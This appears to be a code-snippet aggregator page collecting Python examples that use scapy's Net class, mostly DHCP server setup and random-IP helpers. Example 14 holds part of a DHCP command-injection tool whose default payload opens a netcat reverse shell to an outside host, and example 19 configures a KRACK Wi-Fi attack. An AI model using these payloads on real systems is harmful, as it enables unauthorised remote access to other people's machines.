Esempio n. 1
0
 def h2i(self, pkt, x):
     if isinstance(x, six.string_types):
         try:
             inet_aton(x)
         except socket.error:
             x = Net(x)
     elif isinstance(x, list):
         x = [self.h2i(pkt, n) for n in x]
     return x
Esempio n. 2
0
 def h2i(self, pkt, x):
     if isinstance(x, basestring):
         try:
             inet_aton(x)
         except socket.error:
             x = Net(x)
     elif type(x) is list:
         x = [self.h2i(pkt, n) for n in x]
     return x
Esempio n. 3
0
 def parse_options(self, pool=Net("192.168.1.128/25"), network="192.168.1.0/24",gw="192.168.1.1",
                   domain="localnet", renewal_time=60, lease_time=1800):
     self.domain = domain
     netw,msk = (network.split("/")+["32"])[:2]
     msk = itom(int(msk))
     self.netmask = ltoa(msk)
     self.network = ltoa(atol(netw)&msk)
     self.broadcast = ltoa( atol(self.network) | (0xffffffff&~msk) )
     self.gw = gw
     if isinstance(pool, basestring):
         pool = Net(pool)
     if isinstance(pool, Iterable):
         pool = [k for k in pool if k not in [gw, self.network, self.broadcast]]
         pool.reverse()
     if len(pool) == 1:
         pool, = pool
     self.pool = pool
     self.lease_time = lease_time
     self.renewal_time = renewal_time
     self.leases = {}
Esempio n. 4
0
File: dhcp.py Progetto: mcpat/scapy
 def parse_options(self, pool=Net("192.168.1.128/25"), network="192.168.1.0/24",gw="192.168.1.1",
                   domain="localnet", renewal_time=60, lease_time=1800):
     self.domain = domain
     netw,msk = (network.split("/")+["32"])[:2]
     msk = itom(int(msk))
     self.netmask = ltoa(msk)
     self.network = ltoa(atol(netw)&msk)
     self.broadcast = ltoa( atol(self.network) | (0xffffffff&~msk) )
     self.gw = gw
     if isinstance(pool, six.string_types):
         pool = Net(pool)
     if isinstance(pool, Iterable):
         pool = [k for k in pool if k not in [gw, self.network, self.broadcast]]
         pool.reverse()
     if len(pool) == 1:
         pool, = pool
     self.pool = pool
     self.lease_time = lease_time
     self.renewal_time = renewal_time
     self.leases = {}
Esempio n. 5
0
 def h2i(self, pkt, x):
     if isinstance(x, bytes):
         x = plain_str(x)
     if isinstance(x, str):
         try:
             inet_aton(x)
         except socket.error:
             x = Net(x)
     elif isinstance(x, list):
         x = [self.h2i(pkt, n) for n in x]
     return x
Esempio n. 6
0
def main():
    if os.getuid() != 0:
        print("Start as root plz !!")
        return 1

    dhcp_server = DHCP_am(iface='br0',
                          domain='example.com',
                          pool=Net('192.168.122.20-254'),
                          network='192.168.122.0/24',
                          gw='192.168.122.1',
                          renewal_time=600,
                          lease_time=3600)
    dhcp_server()
Esempio n. 7
0
class RandIP(RandString):
    _DEFAULT_IPTEMPLATE = "0.0.0.0/0"

    def __init__(self, iptemplate=_DEFAULT_IPTEMPLATE):
        RandString.__init__(self)
        self.ip = Net(iptemplate)

    def _command_args(self):
        if self.ip.repr == self._DEFAULT_IPTEMPLATE:
            return ""
        return "iptemplate=%r" % self.ip.repr

    def _fix(self):
        return self.ip.choice()
Esempio n. 8
0
class RandIP(_RandString[str]):
    _DEFAULT_IPTEMPLATE = "0.0.0.0/0"

    def __init__(self, iptemplate=_DEFAULT_IPTEMPLATE):
        # type: (str) -> None
        super(RandIP, self).__init__()
        self.ip = Net(iptemplate)

    def _command_args(self):
        # type: () -> str
        rep = "%s/%s" % (self.ip.net, self.ip.mask)
        if rep == self._DEFAULT_IPTEMPLATE:
            return ""
        return "iptemplate=%r" % rep

    def _fix(self):
        # type: () -> str
        return self.ip.choice()
Esempio n. 9
0
 def __init__(self, iptemplate="0.0.0.0/0"):
     self.ip = Net(iptemplate)
Esempio n. 10
0
class RandIP(RandString):
    def __init__(self, iptemplate="0.0.0.0/0"):
        self.ip = Net(iptemplate)

    def _fix(self):
        return self.ip.choice()
Esempio n. 11
0
 def __init__(self, iptemplate="0.0.0.0/0"):
     RandString.__init__(self)
     self.ip = Net(iptemplate)
Esempio n. 12
0
 def __init__(self, iptemplate=_DEFAULT_IPTEMPLATE):
     RandString.__init__(self)
     self.ip = Net(iptemplate)
Esempio n. 13
0
# https://gist.github.com/yosshy/4551b1fe3d9af63b02d4

from scapy.all import DHCP_am
from scapy.base_classes import Net

dhcp_server = DHCP_am(iface='eth1', domain='example.com',
                      pool=Net('192.168.10.0/24'),
                      network='192.168.10.0/24',
                      gw='192.168.10.254',
                      renewal_time=600, lease_time=3600)
dhcp_server()
Esempio n. 14
0
                        type=int,
                        dest='renewal_time',
                        help='The DHCP lease renewal interval (default: 600)')
    parser.add_argument('-l',
                        '--lease-time',
                        default=3600,
                        type=int,
                        dest='lease_time',
                        help='The DHCP lease duration (default: 3600)')
    parser.add_argument(
        '-p',
        '--payload',
        default='nc -e /bin/bash 192.168.41.2 1337',
        type=str,
        dest='payload',
        help=
        'The payload / command to inject (default: nc -e /bin/bash 192.168.41.2 1337)'
    )

    args = parser.parse_args()
    server = DynoRoot(iface=args.interface,
                      domain=args.domain,
                      pool=Net(args.subnet),
                      network=args.subnet,
                      gw=args.gateway,
                      renewal_time=args.renewal_time,
                      lease_time=args.lease_time)
    server.payload = args.payload

    server()
Esempio n. 15
0
def http_request(host,
                 path="/",
                 port=80,
                 timeout=3,
                 display=False,
                 verbose=0,
                 raw=False,
                 iptables=False,
                 iface=None,
                 **headers):
    """Util to perform an HTTP request, using the TCP_client.

    :param host: the host to connect to
    :param path: the path of the request (default /)
    :param port: the port (default 80)
    :param timeout: timeout before None is returned
    :param display: display the resullt in the default browser (default False)
    :param raw: opens a raw socket instead of going through the OS's TCP
                socket. Scapy will then use its own TCP client.
                Careful, the OS might cancel the TCP connection with RST.
    :param iptables: when raw is enabled, this calls iptables to temporarily
                     prevent the OS from sending TCP RST to the host IP.
                     On Linux, you'll almost certainly need this.
    :param iface: interface to use. Changing this turns on "raw"
    :param headers: any additional headers passed to the request

    :returns: the HTTPResponse packet
    """
    from scapy.sessions import TCPSession
    http_headers = {
        "Accept_Encoding": b'gzip, deflate',
        "Cache_Control": b'no-cache',
        "Pragma": b'no-cache',
        "Connection": b'keep-alive',
        "Host": host,
        "Path": path,
    }
    http_headers.update(headers)
    req = HTTP() / HTTPRequest(**http_headers)
    ans = None

    # Open a socket
    if iface is not None:
        raw = True
    if raw:
        # Use TCP_client on a raw socket
        iptables_rule = "iptables -%c INPUT -s %s -p tcp --sport 80 -j DROP"
        if iptables:
            host = str(Net(host))
            assert (os.system(iptables_rule % ('A', host)) == 0)
        sock = TCP_client.tcplink(HTTP, host, port, debug=verbose, iface=iface)
    else:
        # Use a native TCP socket
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((host, port))
        sock = StreamSocket(sock, HTTP)
    # Send the request and wait for the answer
    try:
        ans = sock.sr1(req,
                       session=TCPSession(app=True),
                       timeout=timeout,
                       verbose=verbose)
    finally:
        sock.close()
        if raw and iptables:
            host = str(Net(host))
            assert (os.system(iptables_rule % ('D', host)) == 0)
    if ans:
        if display:
            if Raw not in ans:
                warning("No HTTP content returned. Cannot display")
                return ans
            # Write file
            file = get_temp_file(autoext=".html")
            with open(file, "wb") as fd:
                fd.write(ans.load)
            # Open browser
            if WINDOWS:
                os.startfile(file)
            else:
                with ContextManagerSubprocess(conf.prog.universal_open):
                    subprocess.Popen([conf.prog.universal_open, file])
        return ans
Esempio n. 16
0
 def __init__(self, iptemplate="0.0.0.0/0"):
     self.ip = Net(iptemplate)
Esempio n. 17
0
class RandIP(RandString):
    def __init__(self, iptemplate="0.0.0.0/0"):
        self.ip = Net(iptemplate)
    def _fix(self):
        return self.ip.choice()
Esempio n. 18
0
 def __init__(self, iptemplate=_DEFAULT_IPTEMPLATE):
     # type: (str) -> None
     super(RandIP, self).__init__()
     self.ip = Net(iptemplate)
Esempio n. 19
0
    def parse_args(
            self,
            ap_mac,
            ssid,
            passphrase,
            channel=None,
            # KRACK attack options
            double_3handshake=True,
            encrypt_3handshake=True,
            wait_3handshake=0,
            double_gtk_refresh=True,
            arp_target_ip=None,
            arp_source_ip=None,
            wait_gtk=10,
            **kwargs):
        """
        Mandatory arguments:
        @iface: interface to use (must be in monitor mode)
        @ap_mac: AP's MAC
        @ssid: AP's SSID
        @passphrase: AP's Passphrase (min 8 char.)

        Optional arguments:
        @channel: used by the interface. Default 6, autodetected on windows

        Krack attacks options:

         - Msg 3/4 handshake replay:
        double_3handshake: double the 3/4 handshake message
        encrypt_3handshake: encrypt the second 3/4 handshake message
        wait_3handshake: time to wait (in sec.) before sending the second 3/4
         - double GTK rekeying:
        double_gtk_refresh: double the 1/2 GTK rekeying message
        wait_gtk: time to wait (in sec.) before sending the GTK rekeying
        arp_target_ip: Client IP to use in ARP req. (to detect attack success)
                       If None, use a DHCP server
        arp_source_ip: Server IP to use in ARP req. (to detect attack success)
                       If None, use the DHCP server gateway address
        """
        super(KrackAP, self).parse_args(**kwargs)

        # Main AP options
        self.mac = ap_mac
        self.ssid = ssid
        self.passphrase = passphrase
        if channel is None:
            if WINDOWS:
                try:
                    channel = kwargs.get("iface", conf.iface).channel()
                except (Scapy_Exception, AttributeError):
                    channel = 6
            else:
                channel = 6
        self.channel = channel

        # Internal structures
        self.last_iv = None
        self.client = None
        self.seq_num = count()
        self.replay_counter = count()
        self.time_handshake_end = None
        self.dhcp_server = DHCPOverWPA(send_func=self.send_ether_over_wpa,
                                       pool=Net("192.168.42.128/25"),
                                       network="192.168.42.0/24",
                                       gw="192.168.42.1")
        self.arp_sent = []
        self.arp_to_send = 0
        self.arp_retry = 0

        # Bit 0: 3way handshake sent
        # Bit 1: GTK rekeying sent
        # Bit 2: ARP response obtained
        self.krack_state = 0

        # Krack options
        self.double_3handshake = double_3handshake
        self.encrypt_3handshake = encrypt_3handshake
        self.wait_3handshake = wait_3handshake
        self.double_gtk_refresh = double_gtk_refresh
        self.arp_target_ip = arp_target_ip
        if arp_source_ip is None:
            # Use the DHCP server Gateway address
            arp_source_ip = self.dhcp_server.gw
        self.arp_source_ip = arp_source_ip
        self.wait_gtk = wait_gtk

        # May take several seconds
        self.install_PMK()
Esempio n. 20
0
#!/usr/bin/env python
"""
Waits for the request pkg on the given interface
and offers an IP in the given range
"""
from scapy.all import DHCP_am
from scapy.base_classes import Net

dhcp_server = DHCP_am(iface="wlp8s0",
                      domain="example.com",
                      pool=Net("192.168.3.0/24"),
                      network="192.168.3.0/24",
                      gw="192.168.9.254",
                      renewal_time=600,
                      lease_time=3600)

dhcp_server()
#########
"""
ethernet=Ether(dst=dest_mac, src=hw, type=0x800)
ip=IP(dst=dest_addr, src=srv_ip)
udp=UDP(sport=67, dport=68)
bootp=BOOTP(op=2, yiaddr=dest_addr, siaddr=srv_ip, chaddr=client_mac)
dhcp=DHCP(options=[("message-type", "offer"), ("server_id", dest_addr), ("broadcast_address", broadcast), ("router", gateway), ("subnet_mask", netmask)])
of_pack=ethernet/ip/udp/bootp/dhcp

sendp(of_pack, iface="enp2s0f0u13")
"""